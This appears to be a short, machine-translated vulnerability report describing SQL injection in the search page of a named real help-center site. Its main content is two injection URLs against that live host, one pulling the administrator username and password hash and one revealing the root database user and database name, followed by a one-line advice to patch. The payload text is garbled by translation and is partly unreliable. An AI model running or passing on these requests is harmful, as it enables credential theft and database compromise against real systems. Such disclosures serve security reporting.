263 communication a root user's SQL Injection

263 The helpcenter.263.net communication help center has an SQL injection. The user is root. As a big site, it may cause serious information leakage.
 

Access http://helpcenter.263.net//plus/search.php with a browser? Keyword = as & typeArr [111% 3D @ '\ '') + UnIon + seleCt +, + CONCAT (0x7c, userid, 0x7c, pwd, 42 + from + '% 23 @__ admin' % 23 @' \ ''+] = a. You can get the Administrator's username and encrypted password, 1. Access

Http://helpcenter.263.net//plus/search.php? Keyword = as & typeArr [111% 3D @ '\ '') + UnIon + seleCt +, + CONCAT (0x7c, user (), 0x7c, database, 42 + from + '% 23 @__ admin' % 23 @' \ ''+] = a, get the User root and database name to connect to the database, 2.



Solution:

We recommend that you install patches. Patches have been released officially.